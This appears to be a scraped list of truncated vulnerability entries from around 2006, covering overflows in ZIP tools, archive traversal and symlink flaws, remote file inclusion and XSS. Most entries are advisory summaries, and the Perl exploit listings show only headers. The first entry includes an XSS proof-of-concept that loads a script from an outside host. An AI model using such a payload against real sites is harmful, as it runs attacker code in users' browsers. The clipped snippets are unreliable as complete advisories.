MP3 Search/Archive v1.2 - XSS

MP3 Search/Archive v1.2 Homepage: http://www.bloodys.com Affected files: Search input box. index.php Data is not properally sanatized before its generated. For PoC try putting the code below in the search box: SCRIPT SRC=http://youfucktard.com/xss.js/SCRIPT Screenshots:...

Pico Zip 4.01 (Long Filename) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ===================================================== Pico Zip 4.01 Long Filename Buffer Overflow Exploit ===================================================== !/usr/bin/perl Pico Zip v. 4.01 Long Filename Buffer Overflow Original advisory -...

Pico Zip 4.01 (Long Filename) Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl Pico Zip v. 4.01 Long Filename Buffer Overflow Original advisory - http://www.securityfocus.com/archive/1/437103/30/30/threaded Author - c0rrupt Greets - sh0uts to n0limit, muts, and brax for the music ; The vulnerability is caused due to a bounda...

Pico Zip 4.01 - 'Filename' Local Buffer Overflow

!/usr/bin/perl Pico Zip v. 4.01 Long Filename Buffer Overflow Original advisory - http://www.securityfocus.com/archive/1/437103/30/30/threaded Author - c0rrupt Greets - sh0uts to n0limit, muts, and brax for the music ; The vulnerability is caused due to a boundary error within the "zipinfo.dll"...

7-Zip ARJ archive handling buffer overflow

Added: 06/09/2006 CVE: CVE-2005-3051 BID: 14925 OSVDB: 19639 Background 7-Zip is a free file archiver for Windows platforms. Problem A buffer overflow vulnerability in 7-Zip could allow code execution when a specially crafted ARJ file is opened. Resolution Upgrade to 7-Zip 4.27 beta or higher...

DSA-1090-1 spamassassin - programming error

Bulletin has no description...

BlueShoes Framework <= 4.6 Remote File Include Vulnerabilities

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ BlueShoes Framework 4.6 = Remote File Include Vulnerability $$ Script site: http://www.blueshoes.org/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by: Kacper...

Stack overflow

Stack-based buffer overflow in ZipCentral 4.01 allows remote user-assisted attackers to execute arbitrary code via a ZIP archive containing a long filename...

CVE-2006-2439

Stack-based buffer overflow in ZipCentral 4.01 allows remote user-assisted attackers to execute arbitrary code via a ZIP archive containing a long filename...

CVE-2006-2439

CVE-2006-2439 describes a stack-based buffer overflow in ZipCentral 4.01 that allows remote user-assisted attackers to execute arbitrary code when processing a ZIP archive containing a long filename. Affected component is ZipCentral 4.01; root cause is a vulnerability in handling long filenames w...

CVE-2006-2439

Stack-based buffer overflow in ZipCentral 4.01 allows remote user-assisted attackers to execute arbitrary code via a ZIP archive containing a long filename...

CVE-2006-2520

Directory traversal vulnerability in BitZipper 4.1.2 SR-1 and earlier allows remote attackers to create files in arbitrary directories via a .. dot dot in the filename of a file that is stored in a 1 RAR .rar, 2 TAR .tar, 3 ZIP .zip, 4 GZ .gz, or 5 JAR .jar archive...

CVE-2006-2520

Directory traversal vulnerability in BitZipper 4.1.2 SR-1 and earlier allows remote attackers to create files in arbitrary directories via a .. dot dot in the filename of a file that is stored in a 1 RAR .rar, 2 TAR .tar, 3 ZIP .zip, 4 GZ .gz, or 5 JAR .jar archive...

FreeBSD : mailman -- Private Archive Script XSS (8be2e304-cce6-11da-a3b1-00123ffe8333)

Secunia reports : A vulnerability has been reported in Mailman, which can be exploited by malicious people to conduct cross-site scripting attacks. Unspecified input passed to the private archive script is not properly sanitised before being returned to users. This can be exploited to execute...

CVE-2006-1457

Safari on Mac OS X 10.4.6 is affected. When "Open 'safe' files after downloading" is enabled, archives are expanded automatically, which could allow a remote attacker to overwrite arbitrary files via an archive containing a symlink. Impact is the ability to write arbitrary files on the vulnerable...

Apple Safari fails to properly handle archive files containing symbolic links

Overview Apple Safari fails to properly handle archive files that contain symbolic links, which may allow a remote, unauthenticated attacker to execute arbitrary code. Description Safari Apple Safari is a web browser that comes with the Mac OS X operating system. Symbolic links Symbolic links are...

[Full-disclosure] Secunia Research: UltimateZip unacev2.dll Buffer Overflow Vulnerability

====================================================================== Secunia Research 11/05/2006 - UltimateZip unacev2.dll Buffer Overflow Vulnerability - ====================================================================== Table of Contents Affected...

CVE-2006-2161

Buffer overflow in 1 TZipBuilder 1.79.03.01, 2 Abakt 0.9.2 and 0.9.3-beta1, 3 CAM UnZip 4.0 and 4.3, and possibly other products, allows user-assisted attackers to execute arbitrary code via a ZIP archive that contains a file with a long file name...

Buffer overflow

Buffer overflow in 1 TZipBuilder 1.79.03.01, 2 Abakt 0.9.2 and 0.9.3-beta1, 3 CAM UnZip 4.0 and 4.3, and possibly other products, allows user-assisted attackers to execute arbitrary code via a ZIP archive that contains a file with a long file name...

CVE-2006-2161

CVE-2006-2161 affects multiple unzip-related tools: TZipBuilder (1.79.03.01), Abakt (0.9.2/0.9.3-beta1), and CAM UnZip (4.0/4.3). The issue is a boundary error when listing ZIP contents with an overly long filename, leading to a stack-based buffer overflow and potential arbitrary code execution. ...